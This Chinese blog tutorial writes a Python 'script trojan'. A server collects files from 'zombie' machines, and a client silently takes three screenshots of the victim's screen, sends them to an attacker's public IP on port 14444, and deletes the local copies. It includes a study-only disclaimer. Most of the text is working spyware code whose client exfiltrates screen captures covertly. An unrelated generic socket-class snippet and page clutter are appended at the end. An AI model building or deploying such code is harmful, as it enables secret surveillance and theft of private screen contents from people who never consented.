Python——Socket编写简单脚本木马远程控制截屏并发送截图

免责声明:本文章仅供网络安全方面学习、交流使用,任何操作与作者无关
请遵守我国法律法规

一、工具&环境

  1. Python 3
  2. 花生壳
  3. 远程计算器

二、实验原理

在这里插入图片描述

三、编写脚本

出现报错请更换编码方式,如:gb18030、gbk等

Ⅰ、Server服务端

import socket,sys,threading,struct,os

def service():
	#抛出错误
    try:
    	#创建套接字
        server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        #配置端口释放规则,1代表立即释放,默认2min
        server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        serveraddr = ("",14444)
        server.bind(serveraddr)
        server.listen(10)
    except socket.error as e:
        print("*建立Socket失败,由于:",e,sep="")
        sys.exit(1)

    print("Wainting for Connection...")

    #循环,业务等待
    while True:
        #确认链接
        clientsocket,clientaddr = server.accept()
        #多线程
        t = threading.Thread(target=receiveDataFromClient,args=(clientsocket,clientaddr,))
        t.start()

#多线程接收数据
def receiveDataFromClient(clientsocket,clientaddr):
	#成功连接肉鸡的提示
    print("肉鸡来了{}".format(clientaddr))
    while True:
    	#设定单次接收图片的数据流大小为128bytes
        fileinfosize = struct.calcsize("128sl")
        fileinfopck = clientsocket.recv(fileinfosize)
        #如果数据流非空
        if fileinfopck:
        	#解包
            filename,filesize = struct.unpack("128sl",fileinfopck)
            filename = filename.strip(str.encode("\00"))

            #接收图片
            newfilename = os.path.join(str.encode("./"),str.encode("new_")+filename)
            print("接收文件{},另存为{}".format(filename,newfilename))

            #统计接收量
            recv_file_size = 0
            #创建缓存文件
            tempfile = open(newfilename,"wb")
            #判断分段数据,写入缓存文件
            while not recv_file_size == filesize:
                if  filesize - recv_file_size > 1024:
                    recvdata = clientsocket.recv(1024)
                    recv_file_size += len(recvdata)
                else:
                    recvdata = clientsocket.recv(filesize - recv_file_size)
                    recv_file_size = filesize
                tempfile.write(recvdata)

            tempfile.close()
            print("文件接收完成,保存在{}".format(newfilename))
            
if __name__ == "__main__":
    service()
    

Ⅱ、Client客户端

import socket,pyautogui,time,os,struct
#创建套接字、建立连接
def client_service():
    try:
        client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        #填写外网IP和端口
        serveraddr = ("花生壳IP",14444)
        client.connect(serveraddr)
        #截图并发送至Server
        screenshot(client)
        #清除图片
        for i in range(1, 4):
            os.remove("screenshot_{}.jpg".format(i))

    except socket.error as e:
        pass

#截图并发送
def screenshot(client):
    cout = 0
    #截图三张
    while cout < 3:
    	#使用pyautogui库函数截图
        img = pyautogui.screenshot()
        cout += 1
        img.save("screenshot_{}.jpg".format(cout))
        time.sleep(3)
        
        #分包传输文件,包两端对称
        filepath = "screenshot_{}.jpg".format(cout)
        if os.path.isfile(filepath):
            #判断截图是否存在
            #每个包大小128bytes
            fileinfopck = struct.pack("128sl",bytes(os.path.basename(filepath).encode("utf-8")),os.stat(filepath).st_size)
            client.send(fileinfopck)
            #数据分段发送
            fileobj = open(filepath,"rb")
            while True:
                sendfiledata = fileobj.read(1024)
                if not sendfiledata:
                    print("{}文件发送完毕".format(filepath))
                    break
                client.send(sendfiledata)

if __name__ == "__main__":
    client_service()

四、运行截图

在这里插入图片描述

提高警惕,切勿安装不明来源的程序软件

欢迎在评论区留言
感谢浏览

你可以使用Python的`socket`模块编写一个用于创建套接字和处理网络通信的类。然后,使用线程来执行该类的实例,并在另一个脚本中调用它。 下面是一个示例代码,展示了如何编写一个Socket类,并在另一个脚本中执行它: ```python # socket_class.py import socket import threading class SocketThread(threading.Thread): def __init__(self, host, port): threading.Thread.__init__(self) self.host = host self.port = port def run(self): # 创建套接字 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((self.host, self.port)) server_socket.listen(1) print(f"Listening for connections on {self.host}:{self.port}") while True: # 接受客户端连接 client_socket, address = server_socket.accept() print(f"Connected to {address[0]}:{address[1]}") # 处理通信 while True: data = client_socket.recv(1024).decode() if not data: break print(f"Received data: {data}") # 在此处添加处理数据的逻辑 # 关闭与客户端的连接 client_socket.close() # 关闭服务器套接字 server_socket.close() # 在另一个脚本中执行 SocketThread 类的实例 if __name__ == "__main__": host = 'localhost' port = 8888 socket_thread = SocketThread(host, port) socket_thread.start() ``` 在另一个脚本中,您可以通过导入`socket_class.py`并创建`SocketThread`的实例来执行该类的线程。例如: ```python # main.py from socket_class import SocketThread if __name__ == "__main__": host = 'localhost' port = 8888 socket_thread = SocketThread(host, port) socket_thread.start() # 在此处继续执行其他代码 ``` 这样,您就可以在另一个脚本中执行Socket类的线程,并在其中添加处理网络通信的逻辑。记得根据自己的需求进行修改和适配。
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值